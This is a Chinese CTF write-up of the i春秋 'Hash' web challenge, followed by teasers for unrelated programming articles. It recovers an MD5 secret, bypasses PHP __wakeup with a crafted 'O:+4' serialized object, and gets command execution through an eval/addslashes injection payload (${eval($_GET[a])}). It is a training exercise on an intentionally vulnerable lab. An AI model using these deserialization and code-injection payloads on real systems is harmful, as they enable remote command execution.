i春秋-Hash(__wakeup沉默、序列化)

练习平台地址

竞赛中心

题目描述

题目内容

 啥也没有就一个标签跳转

 点击后的确发生了跳转

观察到url中有key和hash两个值,猜测hash是key的hash

 查看源代码发现确实是

 $hash=md5($sign.$key);the length of $sign is 8

解密得到$sign应该为kkkkkk01

构造122的hash

import hashlib# 要加密的原始字符串
data = "kkkkkk01122"# 创建MD5对象
md5_object = hashlib.md5()# 更新要加密的数据,注意这里如果数据是字符串需要先编码成字节类型,通常使用utf-8编码
md5_object.update(data.encode('utf-8'))# 获取十六进制表示的MD5哈希值
hash_value = md5_object.hexdigest()print(hash_value)

e1ebb04a0a78afe23e2d542e72a25005

传值

访问Gu3ss_m3_h2h2.php

代码分析

1.the secret is in the f15g_1s_here.php,flag在这个文件中

2.通过get接收var参数,base64后进行一个正则匹配——"/[oc]:\d+:/i"是一个忽略大小写的正则表达式,用于匹配以 “o” 或 “c” 开头,接着是冒号、一个或多个数字以及再一个冒号的格式的字符串,不满足条件程序结束,满足则反序列化var参数

解题思路

1.修改file属性为f15g_1s_here.php,序列化对象
2.修改属性数目(沉默__wakeup)
3.替换‘O:4’为‘O:+4’
4.base_64编码 

脚本如下

<?php
class Demo
{private $file = 'f15g_1s_here.php';
}$x = new Demo;
$c = serialize($x);
$c = str_replace('O:4','O:+4',$c);
$c = str_replace(':1:',':2:',$c);
$d = base64_encode($c);
echo ($d);

 TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

传值

 得到f15g_1s_here.php的源码

<?php
if (isset($_GET['val'])) {$val = $_GET['val'];eval('$value="' . addslashes($val) . '";');
} else {die('hahaha!');
}

代码分析

通过get接收一个val参数,通过addslashes对val进行转义

存在eval函数可以命令执行,这里使用变量绕过addslashes转义

payload构造

val = ${eval(echo `ls`;)}
#ls反引号括住


val=${eval($_GET[a])}&a=echo `ls`; 

访问 f15g_1s_here.php并传参

成功执行命令

 查看flag

flag

flag{a8b481b7-8f12-44ce-8b87-bb561afc61ba}

注意事项

1.传参建议在HackBar中传,不要直接在url中编辑

2.解密不要自己编写脚本碰撞,要在somd5.com上直接查询

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/59769.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言指南】C语言内存管理 深度解析

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C语言指南》 期待您的关注 引言 C语言是一种强大而灵活的编程语言&#xff0c;为程序员提供了对内存的直接控制能力。这种对内存…

ChatGPT:编程的 “蜜糖” 还是 “砒霜”?告别依赖,拥抱自主编程的秘籍在此!

在当今编程界&#xff0c;ChatGPT 就像一颗耀眼却又颇具争议的新星&#xff0c;它对编程有着不可忽视的影响。但这影响就像一把双刃剑&#xff0c;使用不当&#xff0c;就可能让我们在编程之路上“受伤”。 一、过度依赖 ChatGPT 编程&#xff1a;黑暗深渊里的重重危机 1、个…

效率工具-tig的使用

1、tig的安装 apt-get install tig 或者 brew install tig2、常用指令 2.1 tig 进入tig界面 在git 的repository 输入tig 进入tig界面 2.2 【 r 】进入 refs view 模式&#xff0c;查看所有分支&#xff0c;使用 【 j/k 】上下切换&#xff0c; 【 Enter 】查看分支演化 2.2…

嵌入式课程day13-C语言指针

目录 十、指针 10.1了解指针 10.2指针使用 10.2.1指针定义&#xff1a; 10.2.2指针读写操作&#xff1a; 10.2.3指针变量空间大小 10.2.4指针偏移&#xff1a; 十、指针 10.1了解指针 指针&#xff1a;是变量 &#xff0c;存储地址编号的。 地址&#xff1a;内存按照…

java核心类库

Java 核心类库中常用类和工具类的实现和实践。 1. Java 核心类库有哪些重要的包?它们的作用是什么? java.lang:包含 Java 核心类,如 String、Math、Object、Thread 等。java.util:包含常用的工具类和集合类,如 ArrayList、HashMap、Collections、Date 等。java.io:用于…

解决vue3+ts打包项目时会生成map文件

在正常未配置的情况下使用npm run build 命令打包&#xff0c;会生成很多的js和map文件,map文件是为了方便我们在生产环境进行更友好的代码调试&#xff0c;但是这样就存一个安全问题&#xff1b;容易被攻击&#xff1b; 解决方法&#xff1a;在package.json文件&#xff0c;重…

redis7.x源码分析:(3) dict字典

dict字典采用经典hash表数据结构实现&#xff0c;由键值对组成&#xff0c;类似于C中的unordered_map。两者在代码实现层面存在一些差异&#xff0c;比如gnustl的unordered_map分配的桶数组个数是&#xff08;质数n&#xff09;&#xff0c;而dict分配的桶数组个数是&#xff0…

【网络云计算】2024第46周周考-磁盘管理的基础知识-RAID篇

文章目录 1、画出各个RAID的结构图&#xff0c;6句话说明优点和缺点&#xff0c;以及磁盘可用率和坏盘数量&#xff0c;磁盘总的数量2、写出TCP五层模型以及对应的常用协议 【网络云计算】2024第46周周考-磁盘管理的基础知识-RAID篇 1、画出各个RAID的结构图&#xff0c;6句话说…

npm install命令报错:npm ERR Could not resolve dependency npm ERR peer…

在运行前端代码下载依赖时&#xff0c;使用 npm install 命令安装依赖时遇到错误&#xff0c;报错信息如下&#xff1a; npm ERR! code ERESOLVE npm ERR! ERESOLVE unable to resolve dependency tree npm ERR! npm ERR! While resolving: project0.1.0 npm ERR! Found: esli…

MySQL:表设计

表的设计 从需求中获得类&#xff0c;类对应到数据库中的实体&#xff0c;实体在数据库中表现为一张一张的表&#xff0c;类中的属性就对应着表中的字段&#xff08;也就是表中的列&#xff09; 表设计的三大范式&#xff1a; 在数据库设计中&#xff0c;三大范式&#xff0…

使用 Azure OpenAI 服务对数据进行联合 SharePoint 搜索

作者&#xff1a;来自 Elastic Gustavo Llermaly 使用 Azure OpenAI 服务处理你的数据&#xff0c;并使用 Elastic 作为向量数据库。 在本文中&#xff0c;我们将探索 Azure OpenAI 服务 “On Your Data”&#xff0c;使用 Elasticsearch 作为数据源。我们将使用 Elastic Shar…

跟我学C++中级篇——RAII

一、什么是RAII Resource Acquisition Is Initialization&#xff0c;资源获取即初始化。C/C的开发者都知道&#xff0c;在这类语言的开发中&#xff0c;内存需要手动来控制。也就是说&#xff0c;释放和回收内存得开发者亲历亲为。从某种角度看&#xff0c;能够把控内存的细节…

chat2db调用ollama实现数据库的操作。

只试了mysql的调用。 其它的我也不用&#xff0c;本来想充钱算了。最后一看单位是美刀。就放弃了这分心。于是折腾了一下。 本地运行chat2db 及chat2db ui https://gitee.com/ooooinfo/Chat2DB clone 后运行起来 chat2db的java端&#xff0c;我现在搞不清这一个项目是有没有…

【搜狐简单AI-注册/登录安全分析报告-无验证方式导致安全隐患】

前言 由于网站注册入口容易被机器执行自动化程序攻击&#xff0c;存在如下风险&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露&#xff0c;不符合国家等级保护的要求。短信盗刷带来的拒绝服务风险 &#xff0c;造成用户无法登陆、注册&#xff0c;大量收到垃圾短信的…

C函数如何返回参数lua使用

返回基本数据类型 数字类型&#xff08;整数和浮点数&#xff09; 在C函数中&#xff0c;可以使用lua_pushnumber函数将一个数字&#xff08;整数或浮点数&#xff09;压入Lua栈。当C函数返回后&#xff0c;Lua会从栈顶获取这个数字作为返回值。例如&#xff0c;以下是一个简单…

微服务day09

DSL查询 快速入门 GET /items/_search {"query": {"match_all": {}} } 叶子查询 GET /items/_search {"query": {"match_all": {}} }GET /items/_search {"query": {"multi_match": {"query": "脱…

Linux驱动开发第2步_“物理内存”和“虚拟内存”的映射

“新字符设备的GPIO驱动”和“设备树下的GPIO驱动”都要用到寄存器地址&#xff0c;使用“物理内存”和“虚拟内存”映射时&#xff0c;非常不方便&#xff0c;而pinctrl和gpio子系统的GPIO驱动&#xff0c;非常简化。因此&#xff0c;要重点学习pinctrl和gpio子系统下的GPIO驱…

信息技术引领未来:大数据治理的实践与挑战

信息技术引领未来&#xff1a;大数据治理的实践与挑战 在信息技术日新月异的今天&#xff0c;大数据已成为企业和社会发展的重要驱动力。大数据治理&#xff0c;作为确保数据质量、安全性和合规性的关键环节&#xff0c;正面临着前所未有的实践挑战与机遇。本文将探讨信息技术…

force stop和pm clear的区别

前言&#xff1a;因为工作中遇到force stop和pm clear进程后&#xff0c;进程不能再次挂起&#xff0c;谷歌系统共性问题&#xff0c;服务类应用经清缓存后当下服务就会挂掉&#xff0c;需要系统重启才能恢复。为了更好的“丢锅”&#xff0c;需要进一步学习force stop和pm cle…

【大数据学习 | flume】flume Sink Processors与拦截器Interceptor

1. Failover Sink Processor 故障转移处理器可以同时指定多个sink输出&#xff0c;按照优先级高低进行数据的分发&#xff0c;并具有故障转移能力。 需要修改第一台服务器agent a1.sourcesr1 a1.sinksk1 k2 a1.channelsc1 a1.sources.r1.typenetcat a1.sources.r1.bindworker…